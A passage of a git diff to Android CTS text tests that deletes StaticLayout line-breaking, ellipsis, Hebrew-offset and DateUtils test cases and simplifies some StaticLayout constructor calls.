@Test
- public void testGetSpans_sortsByPriorityEvenWhenSortParamIsFalse() {
- String text = "p_in_s";
- SpannableStringBuilder builder = new SpannableStringBuilder(text);
- Object first = new SubscriptSpan();
- Object second = new UnderlineSpan();
- Object third = new BulletSpan();
- Object fourth = new QuoteSpan();
-
- builder.setSpan(first, 2, 4, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
- builder.setSpan(second, 1, text.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
- builder.setSpan(third, 2, text.length(), 1 << Spanned.SPAN_PRIORITY_SHIFT);
- builder.setSpan(fourth, 0, text.length(), 2 << Spanned.SPAN_PRIORITY_SHIFT);
-
- Object[] spans = builder.getSpans(0, text.length(), Object.class, false);
-
- assertNotNull(spans);
- assertEquals(4, spans.length);
- // priority spans are first
- assertEquals(fourth, spans[0]);
- assertEquals(third, spans[1]);
- // other spans should be there
- assertEquals(second, spans[2]);
- assertEquals(first, spans[3]);
- }
-
- @Test
public void testLength() {
SpannableStringBuilder builder = new SpannableStringBuilder("hello");
assertEquals(5, builder.length());
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
deleted file mode 100644
index 24f9932..0000000
--- a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
+++ /dev/null
@@ -1,467 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.text.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.text.Layout.Alignment;
-import android.text.SpannableStringBuilder;
-import android.text.Spanned;
-import android.text.StaticLayout;
-import android.text.TextDirectionHeuristics;
-import android.text.TextPaint;
-import android.text.style.MetricAffectingSpan;
-import android.util.Log;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class StaticLayoutLineBreakingTest {
- // Span test are currently not supported because text measurement uses the MeasuredText
- // internal mWorkPaint instead of the provided MockTestPaint.
- private static final boolean SPAN_TESTS_SUPPORTED = false;
- private static final boolean DEBUG = false;
-
- private static final float SPACE_MULTI = 1.0f;
- private static final float SPACE_ADD = 0.0f;
- private static final int WIDTH = 100;
- private static final Alignment ALIGN = Alignment.ALIGN_LEFT;
-
- private static final char SURR_FIRST = '\uD800';
- private static final char SURR_SECOND = '\uDF31';
-
- private static final int[] NO_BREAK = new int[] {};
-
- private static final TextPaint mTextPaint = new MockTextPaint();
-
- private static class MockTextPaint extends TextPaint {
-
- @Override
- public float getTextRunAdvances(char[] chars, int index, int count,
- int contextIndex, int contextCount, boolean isRtl, float[] advances,
- int advancesIndex) {
-
- // Conditions copy pasted from Paint
- if (chars == null) {
- throw new IllegalArgumentException("text cannot be null");
- }
-
- if ((index | count | contextIndex | contextCount | advancesIndex
- | (index - contextIndex) | (contextCount - count)
- | ((contextIndex + contextCount) - (index + count))
- | (chars.length - (contextIndex + contextCount))
- | (advances == null ? 0 :
- (advances.length - (advancesIndex + count)))) < 0) {
- throw new IndexOutOfBoundsException();
- }
-
- float res = 0.0f;
-
- if (advances != null) {
- for (int i = 0; i < count; i++) {
- float width = getCharWidth(chars[index + i]);
- advances[advancesIndex + i] = width;
- res += width;
- }
- }
-
- return res;
- }
- }
-
- private static float getCharWidth(char c) {
- switch (Character.toUpperCase(c)) {
- // Roman figures
- case 'I': return 1.0f;
- case 'V': return 5.0f;
- case 'X': return 10.0f;
- case 'L': return 50.0f;
- case 'C': return 100.0f; // equals to WIDTH
- case ' ': return 10.0f;
- case '_': return 0.0f; // 0-width character
- case SURR_FIRST: return 7.0f;
- case SURR_SECOND: return 3.0f; // Sum of SURR_FIRST-SURR_SECOND is 10
- default: return 10.0f;
- }
- }
-
- private static StaticLayout getStaticLayout(CharSequence source, int width) {
- return new StaticLayout(source, mTextPaint, width, ALIGN, SPACE_MULTI, SPACE_ADD, false);
- }
-
- private static int[] getBreaks(CharSequence source) {
- return getBreaks(source, WIDTH);
- }
-
- private static int[] getBreaks(CharSequence source, int width) {
- StaticLayout staticLayout = getStaticLayout(source, width);
-
- int[] breaks = new int[staticLayout.getLineCount() - 1];
- for (int line = 0; line < breaks.length; line++) {
- breaks[line] = staticLayout.getLineEnd(line);
- }
- return breaks;
- }
-
- private static void debugLayout(CharSequence source, StaticLayout staticLayout) {
- if (DEBUG) {
- int count = staticLayout.getLineCount();
- Log.i("SLLBTest", "\"" + source.toString() + "\": " +
- count + " lines");
- for (int line = 0; line < count; line++) {
- int lineStart = staticLayout.getLineStart(line);
- int lineEnd = staticLayout.getLineEnd(line);
- Log.i("SLLBTest", "Line " + line + " [" + lineStart + ".." +
- lineEnd + "]\t" + source.subSequence(lineStart, lineEnd));
- }
- }
- }
-
- private static void layout(CharSequence source, int[] breaks) {
- layout(source, breaks, WIDTH);
- }
-
- private static void layout(CharSequence source, int[] breaks, int width) {
- StaticLayout staticLayout = getStaticLayout(source, width);
-
- debugLayout(source, staticLayout);
-
- int lineCount = breaks.length + 1;
- assertEquals("Number of lines", lineCount, staticLayout.getLineCount());
-
- for (int line = 0; line < lineCount; line++) {
- int lineStart = staticLayout.getLineStart(line);
- int lineEnd = staticLayout.getLineEnd(line);
-
- if (line == 0) {
- assertEquals("Line start for first line", 0, lineStart);
- } else {
- assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
- }
-
- if (line == lineCount - 1) {
- assertEquals("Line end for last line", source.length(), lineEnd);
- } else {
- assertEquals("Line end for line " + line, breaks[line], lineEnd);
- }
- }
- }
-
- private static void layoutMaxLines(CharSequence source, int[] breaks, int maxLines) {
- StaticLayout staticLayout = new StaticLayout(source, 0, source.length(), mTextPaint, WIDTH,
- ALIGN, TextDirectionHeuristics.LTR, SPACE_MULTI, SPACE_ADD, false /* includePad */,
- null, WIDTH, maxLines);
-
- debugLayout(source, staticLayout);
-
- final int lineCount = staticLayout.getLineCount();
-
- for (int line = 0; line < lineCount; line++) {
- int lineStart = staticLayout.getLineStart(line);
- int lineEnd = staticLayout.getLineEnd(line);
-
- if (line == 0) {
- assertEquals("Line start for first line", 0, lineStart);
- } else {
- assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
- }
-
- if (line == lineCount - 1 && line != breaks.length - 1) {
- assertEquals("Line end for last line", source.length(), lineEnd);
- } else {
- assertEquals("Line end for line " + line, breaks[line], lineEnd);
- }
- }
- }
-
- private final static int MAX_SPAN_COUNT = 10;
- private final static int[] spanStarts = new int[MAX_SPAN_COUNT];
- private final static int[] spanEnds = new int[MAX_SPAN_COUNT];
-
- private static MetricAffectingSpan getMetricAffectingSpan() {
- return new MetricAffectingSpan() {
- @Override
- public void updateDrawState(TextPaint tp) { /* empty */ }
-
- @Override
- public void updateMeasureState(TextPaint p) { /* empty */ }
- };
- }
-
- /**
- * Replaces the "<...>" blocks by spans, assuming non overlapping, correctly defined spans
- * @param text
- * @return A CharSequence with '<' '>' replaced by MetricAffectingSpan
- */
- private static CharSequence spanify(String text) {
- int startIndex = text.indexOf('<');
- if (startIndex < 0) return text;
-
- int spanCount = 0;
- do {
- int endIndex = text.indexOf('>');
- if (endIndex < 0) throw new IllegalArgumentException("Unbalanced span markers");
-
- text = text.substring(0, startIndex) + text.substring(startIndex + 1, endIndex) +
- text.substring(endIndex + 1);
-
- spanStarts[spanCount] = startIndex;
- spanEnds[spanCount] = endIndex - 2;
- spanCount++;
-
- startIndex = text.indexOf('<');
- } while (startIndex >= 0);
-
- SpannableStringBuilder result = new SpannableStringBuilder(text);
- for (int i = 0; i < spanCount; i++) {
- result.setSpan(getMetricAffectingSpan(), spanStarts[i], spanEnds[i],
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
- }
- return result;
- }
-
- @Test
- public void testNoLineBreak() {
- // Width lower than WIDTH
- layout("", NO_BREAK);
- layout("I", NO_BREAK);
- layout("V", NO_BREAK);
- layout("X", NO_BREAK);
- layout("L", NO_BREAK);
- layout("I VILI", NO_BREAK);
- layout("XXXX", NO_BREAK);
- layout("LXXXX", NO_BREAK);
-
- // Width equal to WIDTH
- layout("C", NO_BREAK);
- layout("LL", NO_BREAK);
- layout("L XXXX", NO_BREAK);
- layout("XXXXXXXXXX", NO_BREAK);
- layout("XXX XXXXXX", NO_BREAK);
- layout("XXX XXXX X", NO_BREAK);
- layout("XXX XXXXX ", NO_BREAK);
- layout(" XXXXXXXX ", NO_BREAK);
- layout(" XX XXX ", NO_BREAK);
- // 0123456789
-
- // Width greater than WIDTH, but no break
- layout(" XX XXX ", NO_BREAK);
- layout("XX XXX XXX ", NO_BREAK);
- layout("XX XXX XXX ", NO_BREAK);
- layout("XXXXXXXXXX ", NO_BREAK);
- // 01234567890
- }
-
- @Test
- public void testOneLineBreak() {
- // 01234567890
- layout("XX XXX XXXX", new int[] {7});
- layout("XX XXXX XXX", new int[] {8});
- layout("XX XXXXX XX", new int[] {9});
- layout("XX XXXXXX X", new int[] {10});
- // 01234567890
- layout("XXXXXXXXXXX", new int[] {10});
- layout("XXXXXXXXX X", new int[] {10});
- layout("XXXXXXXX XX", new int[] {9});
- layout("XXXXXXX XXX", new int[] {8});
- layout("XXXXXX XXXX", new int[] {7});
- // 01234567890
- layout("LL LL", new int[] {3});
- layout("LLLL", new int[] {2});
- layout("C C", new int[] {2});
- layout("CC", new int[] {1});
- }
-
- @Test
- public void testSpaceAtBreak() {
- // 0123456789012
- layout("XXXX XXXXX X", new int[] {11});
- layout("XXXXXXXXXX X", new int[] {11});
- layout("XXXXXXXXXV X", new int[] {11});
- layout("C X", new int[] {2});
- }
-
- @Test
- public void testMultipleSpacesAtBreak() {
- // 0123456789012
- layout("LXX XXXX", new int[] {4});
- layout("LXX XXXX", new int[] {5});
- layout("LXX XXXX", new int[] {6});
- layout("LXX XXXX", new int[] {7});
- layout("LXX XXXX", new int[] {8});
- }
-
- @Test
- public void testZeroWidthCharacters() {
- // 0123456789012345678901234
- layout("X_X_X_X_X_X_X_X_X_X", NO_BREAK);
- layout("___X_X_X_X_X_X_X_X_X_X___", NO_BREAK);
- layout("C_X", new int[] {2});
- layout("C__X", new int[] {3});
- }
-
- /**
- * Note that when the text has spans, StaticLayout does not use the provided TextPaint to
- * measure text runs anymore. This is probably a bug.
- * To be able to use the fake mTextPaint and make this test pass, use mPaint instead of
- * mWorkPaint in MeasuredText#addStyleRun
- */
- @Test
- public void testWithSpans() {
- if (!SPAN_TESTS_SUPPORTED) return;
-
- layout(spanify("<012 456 89>"), NO_BREAK);
- layout(spanify("012 <456> 89"), NO_BREAK);
- layout(spanify("<012> <456>< 89>"), NO_BREAK);
- layout(spanify("<012> <456> <89>"), NO_BREAK);
-
- layout(spanify("<012> <456> <89>012"), new int[] {8});
- layout(spanify("<012> <456> 89<012>"), new int[] {8});
- layout(spanify("<012> <456> <89><012>"), new int[] {8});
- layout(spanify("<012> <456> 89 <123>"), new int[] {11});
- layout(spanify("<012> <456> 89< 123>"), new int[] {11});
- layout(spanify("<012> <456> <89> <123>"), new int[] {11});
- layout(spanify("012 456 89 <LXX> XX XX"), new int[] {11, 18});
- }
-
- /*
- * Adding a span to the string should not change the layout, since the metrics are unchanged.
- */
- @Test
- public void testWithOneSpan() {
- if (!SPAN_TESTS_SUPPORTED) return;
-
- String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
- "012 456 89012 456 89012", "0123456789012" };
-
- MetricAffectingSpan metricAffectingSpan = getMetricAffectingSpan();
-
- for (String text : texts) {
- // Get the line breaks without any span
- int[] breaks = getBreaks(text);
-
- // Add spans on all possible offsets
- for (int spanStart = 0; spanStart < text.length(); spanStart++) {
- for (int spanEnd = spanStart; spanEnd < text.length(); spanEnd++) {
- SpannableStringBuilder ssb = new SpannableStringBuilder(text);
- ssb.setSpan(metricAffectingSpan, spanStart, spanEnd,
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
- layout(ssb, breaks);
- }
- }
- }
- }
-
- @Test
- public void testWithTwoSpans() {
- if (!SPAN_TESTS_SUPPORTED) return;
-
- String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
- "012 456 89012 456 89012", "0123456789012" };
-
- MetricAffectingSpan metricAffectingSpan1 = getMetricAffectingSpan();
- MetricAffectingSpan metricAffectingSpan2 = getMetricAffectingSpan();
-
- for (String text : texts) {
- // Get the line breaks without any span
- int[] breaks = getBreaks(text);
-
- // Add spans on all possible offsets
- for (int spanStart1 = 0; spanStart1 < text.length(); spanStart1++) {
- for (int spanEnd1 = spanStart1; spanEnd1 < text.length(); spanEnd1++) {
- SpannableStringBuilder ssb = new SpannableStringBuilder(text);
- ssb.setSpan(metricAffectingSpan1, spanStart1, spanEnd1,
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
-
- for (int spanStart2 = 0; spanStart2 < text.length(); spanStart2++) {
- for (int spanEnd2 = spanStart2; spanEnd2 < text.length(); spanEnd2++) {
- ssb.setSpan(metricAffectingSpan2, spanStart2, spanEnd2,
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
- layout(ssb, breaks);
- }
- }
- }
- }
- }
- }
-
- public static String replace(String string, char c, char r) {
- return string.replaceAll(String.valueOf(c), String.valueOf(r));
- }
-
- @Test
- public void testWithSurrogate() {
- layout("LX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
- layout("LXXXX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
- // LXXXXI (91) + SURR_FIRST (7) fits. But we should not break the surrogate pair
- // Bug: surrogate pair is broken, should be 6 (breaking after the 'V')
- // Maybe not: may be ok if the second character of a pair always has a 0-width
- layout("LXXXXI" + SURR_FIRST + SURR_SECOND, new int[] {7});
-
- // LXXXXI (95) + SURR_SECOND (3) fits, but this is not a valid surrogate pair, breaking it
- layout("LXXXXV" + SURR_SECOND + SURR_FIRST, new int[] {7});
-
- layout("C" + SURR_FIRST + SURR_SECOND, new int[] {1});
- }
-
- @Test
- public void testNarrowWidth() {
- int[] widths = new int[] { 0, 4, 10 };
- String[] texts = new String[] { "", "X", " ", "XX", " X", "XXX" };
-
- for (String text: texts) {
- // 15 is such that only one character will fit
- int[] breaks = getBreaks(text, 15);
-
- // Width under 15 should all lead to the same line break
- for (int width: widths) {
- layout(text, breaks, width);
- }
- }
- }
-
- @Test
- public void testNarrowWidthZeroWidth() {
- int[] widths = new int[] { 1, 4 };
- for (int width: widths) {
- layout("X.", new int[] {1}, width);
- layout("X__", NO_BREAK, width);
- layout("X__X", new int[] {3}, width);
- layout("X__X_", new int[] {3}, width);
-
- layout("_", NO_BREAK, width);
- layout("__", NO_BREAK, width);
- layout("_X", new int[] {1}, width);
- layout("_X_", new int[] {1}, width);
- layout("__X__", new int[] {2}, width);
- }
- }
-
- @Test
- public void testMaxLines() {
- layoutMaxLines("C", NO_BREAK, 1);
- layoutMaxLines("C C", new int[] {2}, 1);
- layoutMaxLines("C C", new int[] {2}, 2);
- layoutMaxLines("CC", new int[] {1}, 1);
- layoutMaxLines("CC", new int[] {1}, 2);
- }
-}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index df60064..1c5bcba 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,7 +33,6 @@
import android.text.Spanned;
import android.text.SpannedString;
import android.text.StaticLayout;
-import android.text.TextDirectionHeuristics;
import android.text.TextPaint;
import android.text.TextUtils;
import android.text.TextUtils.TruncateAt;
@@ -98,14 +97,12 @@
}
private StaticLayout createEllipsizeStaticLayout(CharSequence text,
- TextUtils.TruncateAt ellipsize, int maxLines) {
+ TextUtils.TruncateAt ellipsize) {
return new StaticLayout(text, 0, text.length(),
mDefaultPaint, DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN,
- TextDirectionHeuristics.FIRSTSTRONG_LTR,
SPACE_MULTI, SPACE_ADD, true /* include pad */,
ellipsize,
- ELLIPSIZE_WIDTH,
- maxLines);
+ ELLIPSIZE_WIDTH);
}
/**
@@ -140,8 +137,6 @@
assertEquals(mDefaultPaint, layout.getPaint());
assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
// Check default values.
- assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR,
- layout.getTextDirectionHeuristic());
assertEquals(Alignment.ALIGN_NORMAL, layout.getAlignment());
assertEquals(0.0f, layout.getSpacingAdd(), 0.0f);
assertEquals(1.0f, layout.getSpacingMultiplier(), 0.0f);
@@ -173,16 +168,6 @@
assertEquals(DEFAULT_ALIGN, layout.getAlignment());
}
{
- // setTextDirection.
- StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
- LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
- builder.setTextDirection(TextDirectionHeuristics.RTL);
- StaticLayout layout = builder.build();
- // Always returns TextDirectionHeuristics.FIRSTSTRONG_LTR.
- assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR,
- layout.getTextDirectionHeuristic());
- }
- {
// setLineSpacing.
StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
@@ -412,8 +397,7 @@
public void testGetEllipsisCount() {
// Multilines (6 lines) and TruncateAt.START so no ellipsis at all
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.MIDDLE,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.MIDDLE);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -436,8 +420,7 @@
// Multilines (6 lines) and TruncateAt.MIDDLE so no ellipsis at all
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.MIDDLE,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.MIDDLE);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -448,8 +431,7 @@
// Multilines (6 lines) and TruncateAt.END so ellipsis only on the last line
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.END,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.END);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -460,8 +442,7 @@
// Multilines (6 lines) and TruncateAt.MARQUEE so ellipsis only on the last line
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.END,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.END);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -517,104 +498,6 @@
assertEquals(outerWidth, layout.getEllipsizedWidth());
}
- @Test
- public void testEllipsis_singleLine() {
- {
- // Single line case and TruncateAt.END so that we have some ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.END, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- }
- {
- // Single line case and TruncateAt.MIDDLE so that we have some ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.MIDDLE, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- }
- {
- // Single line case and TruncateAt.END so that we have some ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.END, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- }
- {
- // Single line case and TruncateAt.MARQUEE so that we have NO ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.MARQUEE, 1);
- assertTrue(layout.getEllipsisCount(0) == 0);
- }
- {
- final String text = "\u3042" // HIRAGANA LETTER A
- + "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz";
- final float textWidth = mDefaultPaint.measureText(text);
- final int halfWidth = (int)(textWidth / 2.0f);
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertTrue(layout.getEllipsisStart(0) > 0);
- }
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.START, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertEquals(0, mDefaultLayout.getEllipsisStart(0));
- }
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MIDDLE, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertTrue(layout.getEllipsisStart(0) > 0);
- }
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MARQUEE, halfWidth, 1);
- assertEquals(0, layout.getEllipsisCount(0));
- }
- }
-
- {
- // The white spaces in this text will be trailing if maxLines is larger than 1, but
- // width of the trailing white spaces must not be ignored if ellipsis is applied.
- final String text = "abc def";
- final float textWidth = mDefaultPaint.measureText(text);
- final int halfWidth = (int)(textWidth / 2.0f);
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertTrue(layout.getEllipsisStart(0) > 0);
- }
- }
-
- {
- // 2 family emojis (11 code units + 11 code units).
- final String text = "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66"
- + "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66";
- final float textWidth = mDefaultPaint.measureText(text);
-
- final TextUtils.TruncateAt[] kinds = {TextUtils.TruncateAt.START,
- TextUtils.TruncateAt.MIDDLE, TextUtils.TruncateAt.END};
- for (final TextUtils.TruncateAt kind : kinds) {
- for (int i = 0; i <= 8; i++) {
- int avail = (int)(textWidth * i / 7.0f);
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- avail, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, kind, avail, 1);
-
- assertTrue(layout.getEllipsisCount(0) == text.length()
- || layout.getEllipsisCount(0) == text.length() / 2
- || layout.getEllipsisCount(0) == 0);
- }
- }
- }
- }
-
/**
* scenario description:
* 1. set the text.
@@ -920,32 +803,6 @@
}
@Test
- public void testGetOffset_UNICODE_Hebrew() {
- String testString = "\u05DE\u05E1\u05E2\u05D3\u05D4"; // Hebrew Characters
- for (CharSequence seq: buildTestCharSequences(testString, Normalizer.Form.values())) {
- StaticLayout layout = new StaticLayout(seq, mDefaultPaint,
- DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN,
- TextDirectionHeuristics.RTL, SPACE_MULTI, SPACE_ADD, true);
-
- String testLabel = buildTestMessage(seq);
-
- assertEquals(testLabel, 1, layout.getOffsetToLeftOf(0));
- assertEquals(testLabel, 2, layout.getOffsetToLeftOf(1));
- assertEquals(testLabel, 3, layout.getOffsetToLeftOf(2));
- assertEquals(testLabel, 4, layout.getOffsetToLeftOf(3));
- assertEquals(testLabel, 5, layout.getOffsetToLeftOf(4));
- assertEquals(testLabel, 5, layout.getOffsetToLeftOf(5));
-
- assertEquals(testLabel, 0, layout.getOffsetToRightOf(0));
- assertEquals(testLabel, 0, layout.getOffsetToRightOf(1));
- assertEquals(testLabel, 1, layout.getOffsetToRightOf(2));
- assertEquals(testLabel, 2, layout.getOffsetToRightOf(3));
- assertEquals(testLabel, 3, layout.getOffsetToRightOf(4));
- assertEquals(testLabel, 4, layout.getOffsetToRightOf(5));
- }
- }
-
- @Test
public void testGetOffset_UNICODE_Arabic() {
// Arabic Characters. The expected cursorable boundary is
// | \u0623 \u064F | \u0633 \u0652 | \u0631 \u064E | \u0629 \u064C |";
@@ -1265,7 +1122,7 @@
@Test
public void testVeryLargeString() {
- final int MAX_COUNT = 1 << 21;
+ final int MAX_COUNT = 1 << 20;
final int WORD_SIZE = 32;
char[] longText = new char[MAX_COUNT];
for (int n = 0; n < MAX_COUNT; n++) {
@@ -1333,5 +1190,4 @@
.setEllipsize(TruncateAt.END).build();
layout.getPrimaryHorizontal(layout.getText().length());
}
-
}
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index c8739d1..a3d4806 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -32,7 +32,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.text.DateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.Formatter;
@@ -188,46 +187,6 @@
assertEquals(expected, sb.toString());
}
- @Test
- public void testFormatSameDayTime() {
- if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
- return;
- }
-
- // This test assumes a default DateFormat.is24Hour setting.
- DateFormat.is24Hour = null;
- Date date = new Date(109, 0, 19, 3, 30, 15);
- long fixedTime = date.getTime();
-
- int currentYear = Calendar.getInstance().get(Calendar.YEAR);
- Date dateWithCurrentYear = new Date(currentYear - 1900, 0, 19, 3, 30, 15);
-
- final long DAY_DURATION = 5 * 24 * 60 * 60 * 1000;
- assertEquals("Saturday, January 24, 2009", DateUtils.formatSameDayTime(
- fixedTime + DAY_DURATION, fixedTime, java.text.DateFormat.FULL,
- java.text.DateFormat.FULL));
- assertEquals("Jan 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.DEFAULT, java.text.DateFormat.FULL));
- assertEquals("January 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.LONG, java.text.DateFormat.FULL));
- assertEquals("Jan 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.MEDIUM, java.text.DateFormat.FULL));
- assertEquals("1/24/09", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
- fixedTime, java.text.DateFormat.SHORT, java.text.DateFormat.FULL));
-
- final long HOUR_DURATION = 2 * 60 * 60 * 1000;
- assertEquals("5:30:15 AM GMT+00:00", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.FULL));
- assertEquals("5:30:15 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.DEFAULT));
- assertEquals("5:30:15 AM GMT+00:00", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.LONG));
- assertEquals("5:30:15 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.MEDIUM));
- assertEquals("5:30 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
- fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.SHORT));
- }
-
// This is just to exercise the wrapper that calls the libcore/icu4c implementation.
// Full testing, in multiple locales, is in libcore's CTS tests.
@Test
diff --git a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
index aeff39d..098d12e 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
@@ -24,10 +24,10 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.annotation.NonNull;
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
+import android.support.annotation.NonNull;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
